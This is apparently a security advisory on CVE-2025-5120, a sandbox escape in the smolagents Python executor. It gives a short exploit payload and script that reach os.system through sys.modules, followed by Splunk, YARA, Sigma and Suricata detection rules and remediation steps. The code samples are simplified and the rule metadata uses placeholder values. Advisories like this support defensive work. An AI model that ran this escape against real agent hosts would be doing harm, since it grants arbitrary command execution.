CVE-2025-5120

Executive Summary

CVE-2025-5120 is a critical sandbox escape vulnerability in Huggingface's smolagents library (version 1.14.0). The flaw resides in the local_python_executor.py module, which fails to adequately restrict Python code execution despite implementing static and dynamic checks. Attackers can exploit whitelisted modules and functions to bypass the restricted execution environment, achieving remote code execution (RCE) on the host system. This vulnerability undermines the core security boundary intended to isolate untrusted code, posing risks such as unauthorized code execution, data leakage, and potential integration-level compromise. The issue is resolved in version 1.17.0.

Supply Chain & Package Security

This vulnerability affects the PyPI package smolagents. Organizations using this package in their supply chain should immediately audit their dependencies and upgrade to version 1.17.0 or later. The package is used for AI agent development, and exploitation could lead to full host compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerable component is different from the impacted resource.
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows unauthenticated remote attackers to execute arbitrary code on the host system, bypassing the intended sandbox.

Deep Dive & Mechanics

The vulnerability is located in the local_python_executor.py module of smolagents. This module is designed to execute Python code in a restricted environment, using a combination of static analysis (e.g., AST checks) and dynamic restrictions (e.g., limiting built-in functions). However, the implementation is flawed.

Root Cause: The sandbox relies on a whitelist of allowed modules and functions. Attackers can abuse these whitelisted components to escape the sandbox. For example, certain whitelisted modules may have attributes or methods that allow access to dangerous functions like os.system, subprocess.Popen, or __import__. The static checks do not fully prevent the construction of malicious payloads using only whitelisted elements.

Attack Vector: An attacker sends a crafted Python code string to the smolagents executor. The code uses only whitelisted modules (e.g., math, json, sys) but chains them in a way that eventually calls os.system or similar. For instance, using sys.modules to access the os module, or using __class__ and __subclasses__ to find a class that can execute commands.

Impact: Successful exploitation allows the attacker to execute arbitrary system commands, read/write files, exfiltrate data, and potentially pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.14.0): The local_python_executor.py module uses a whitelist approach but does not recursively check the safety of attributes of whitelisted modules.

# Simplified vulnerable example
ALLOWED_MODULES = ['math', 'json', 'sys']

def execute_code(code):
    # Static check: only allow imports from ALLOWED_MODULES
    # Dynamic check: restrict builtins
    # BUT: does not prevent accessing dangerous attributes via whitelisted modules
    exec(code, {'__builtins__': {}}, {})

Patched Code (version 1.17.0): The patched version implements a more robust sandbox that restricts attribute access and uses a deny-list approach for dangerous functions.

# Simplified patched example
SAFE_BUILTINS = {'abs', 'all', 'any', ...}  # Only safe builtins
BLOCKED_ATTRIBUTES = {'__class__', '__subclasses__', '__globals__', 'os', 'subprocess', ...}

def execute_code(code):
    # Use RestrictedPython or similar library
    # Block dangerous attribute access
    # Use a more comprehensive allow-list
    restricted_globals = {'__builtins__': {b: __builtins__[b] for b in SAFE_BUILTINS}}
    exec(code, restricted_globals, {})

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install vulnerable version: pip install smolagents==1.14.0
2. Create a simple script that uses the executor.

Exploit Payload: The following payload abuses the sys module to access os.system:

import sys
# Access the os module via sys.modules
os_module = sys.modules['os']
# Execute a command
os_module.system('id')

Full Exploit Script:

from smolagents.local_python_executor import LocalPythonExecutor

executor = LocalPythonExecutor()

# Malicious payload
payload = """
import sys
os_module = sys.modules['os']
os_module.system('id')
"""

try:
    result = executor.execute(payload)
    print("Exploit succeeded:", result)
except Exception as e:
    print("Exploit failed:", e)

Expected Output: The id command output will be printed, confirming RCE.

Blue Team (Detection)

Detection Strategy:

• Monitor for unusual Python code execution patterns, especially involving sys.modules, __class__, __subclasses__, and os.system.
• Log all code submissions to the smolagents executor.
• Use behavioral analysis to detect sandbox escape attempts.

Hunting Query (Splunk):

index=main sourcetype=smolagents_logs
| search "sys.modules" OR "__class__" OR "__subclasses__" OR "os.system"
| table _time, host, user, code_submitted

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown IPs from the host running smolagents.
• File System: Unexpected files created in /tmp or other writable directories.
• Process: Spawning of cmd.exe, /bin/sh, or other shells from the Python process.
• Logs: Log entries containing sys.modules, __class__, __subclasses__, or os.system in the smolagents execution logs.

Detection Engineering

YARA Rule

rule CVE_2025_5120_Sandbox_Escape {
    meta:
        description = "Detects sandbox escape attempts in smolagents"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-5120"
    strings:
        $s1 = "sys.modules" ascii wide nocase
        $s2 = "__class__" ascii wide nocase
        $s3 = "__subclasses__" ascii wide nocase
        $s4 = "os.system" ascii wide nocase
        $s5 = "subprocess" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-5120 Sandbox Escape Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-5120 in smolagents
author: Valters IT
date: 2025/01/01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains:
            - 'sys.modules'
            - '__class__'
            - '__subclasses__'
            - 'os.system'
            - 'subprocess'
    condition: selection
falsepositives:
    - Legitimate use of these patterns in development
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-5120 Sandbox Escape Attempt"; content:"sys.modules"; nocase; content:"os.system"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade smolagents to version 1.17.0 or later: pip install --upgrade smolagents
2. If immediate upgrade is not possible, restrict network access to the host running smolagents.
3. Monitor logs for exploitation attempts.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) to block malicious payloads.
• Use runtime application self-protection (RASP) tools.
• Conduct regular security audits of third-party dependencies.
• Consider using a more secure sandboxing solution (e.g., Docker containers, gVisor).

Patch Details: The fix is included in version 1.17.0. The patch improves the sandbox by blocking dangerous attribute access and using a more restrictive allow-list.

Valters IT
Securing the digital frontier, one CVE at a time.